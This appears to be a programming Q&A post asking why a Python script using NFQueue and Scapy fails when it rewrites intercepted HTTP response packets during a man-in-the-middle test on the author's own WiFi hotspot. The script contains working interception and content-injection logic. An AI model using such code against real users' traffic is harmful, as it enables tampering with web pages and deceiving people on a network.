title: NFQueue/Scapy Man in the Middle
body: <p>I'm trying to construct a man in the middle attack on a webpage (i.e. HTTP traffic). I'm doing this by using a Linux machine attached to Ethernet and a client attached to the Linux box via its WiFi hotspot. </p>
  
  <p>What I've done so far is use NFQueue from within the IPTables Linux firewall to route all TCP packets on the <code>FORWARD</code> chain to the NFQueue queue, which a Python script is picking up and then processing those rules. I'm able to read the data off of the HTTP response packets, but whenever I try to modify them and pass them back (accept the packets), I'm getting an error regarding the strings:</p>
  
  <pre><code>Exception AttributeError: "'str' object has no attribute 'build_padding'" in 'netfilterqueue.global_callback' ignored
  </code></pre>
  
  <p>My code is here, which includes things that I've tried that didn't work. Notably, I'm using a third-party extension for <code>scapy</code> called <code>scapy_http</code> that may be interfering with things, and I'm using a webpage that is not being compressed by gzip because that was messing with things as well. The test webpage that I'm using is <a href="http://www.chem.ucla.edu/~harding/tutorials/acids_and_bases/pKa_table.html" rel="nofollow noreferrer">here</a>.</p>
  
  <pre class="lang-py prettyprint-override"><code>#scapy
  from scapy.all import *
  
  #nfqueue import
  from netfilterqueue import NetfilterQueue
  
  #scapy http extension, not really needed
  import scapy_http.http
  
  #failed gzip decoding, also tried some other stuff
  #import gzip
  
  def print_and_accept(packet):
      #convert nfqueue datatype to scapy-compatible
      pkt = IP(packet.get_payload())
  
      #is this an HTTP response?
      if pkt[TCP].sport == 80:
          #legacy trial that doesn't work
          #data = packet.get_data()
          print('HTTP Packet Found')
  
          #check what's in the payload
          stringLoad = str(pkt[TCP].payload)
  
          #deleted because printing stuff out clogs output
          #print(stringLoad)
  
          #we only want to modify a specific packet:
          if "&lt;title&gt;Acids and Bases: Use of the pKa Table&lt;/title&gt;" in stringLoad:
              print('Target Found')
  
              #strings kind of don't work, I think this is a me problem
              #stringLoad.replace('&gt;Acids and Bases: Use of the pK&lt;sub&gt;a&lt;/sub&gt;', 'This page has been modified: a random ')
              #pkt[TCP].payload = stringLoad
  
  
              #https://stackoverflow.com/questions/27293924/change-tcp-payload-with-nfqueue-scapy
              payload_before = len(pkt[TCP].payload)
  
              # I suspect this line is a problem: the string assigns,
              # but maybe under the hood scapy doesn't like that very much
              pkt[TCP].payload = str(pkt[TCP].payload).replace("Discussion", "This page has been modified")
  
              #recalculate length
              payload_after = len(pkt[TCP].payload)
  
              payload_dif = payload_after - payload_before
  
              pkt[IP].len = pkt[IP].len + payload_dif
  
              #recalculate checksum
              del pkt[TCP].chksum
              del pkt[IP].chksum
              del pkt.chksum
  
  
              print('Packet Modified')
              #redudant
              #print(stringLoad)
  
              #this throws an error (I think)
              print(str(pkt[TCP].payload))
              #no clue if this works or not yet
              #goal here is to reassign modified packet to original parameter
              packet.set_payload(str(pkt))
  
              #this was also throwing the error, so tried to move away from it
              #print(pkt.show2())
  
          #bunch of legacy code that didn't work
          #print(GET_print(pkt))
          #print(pkt.show())
          #decompressed_data = zlib.decompress(str(pkt[TCP].payload), 16 + zlib.MAX_WBITS)
          #print(decompressed_data)
          #print(str(gzip.decompress(pkt[TCP].payload)))
          # print(pkt.getlayer(Raw).load)
  
          #print('HTTP Contents Shown')
  
      packet.accept()
  
  def GET_print(packet1):
      ret = "***************************************GET PACKET****************************************************\n"
      ret += "\n".join(packet1.sprintf("{Raw:%Raw.load%}\n").split(r"\r\n"))
      ret += "*****************************************************************************************************\n"
      return ret
  
  print('Test: Modify a very specific target')
  print('Program Starting')
  nfqueue = NetfilterQueue()
  nfqueue.bind(1, print_and_accept)
  try:
      print('Packet Interface Starting')
      nfqueue.run()
  except KeyboardInterrupt:
      print('\nProgram Ending')
  
  nfqueue.unbind()
  </code></pre>
  
  <p>Apologies in advance if this is hard to read or badly formatted code; Python isn't a language that I write in often. Any help is greatly appreciated!</p>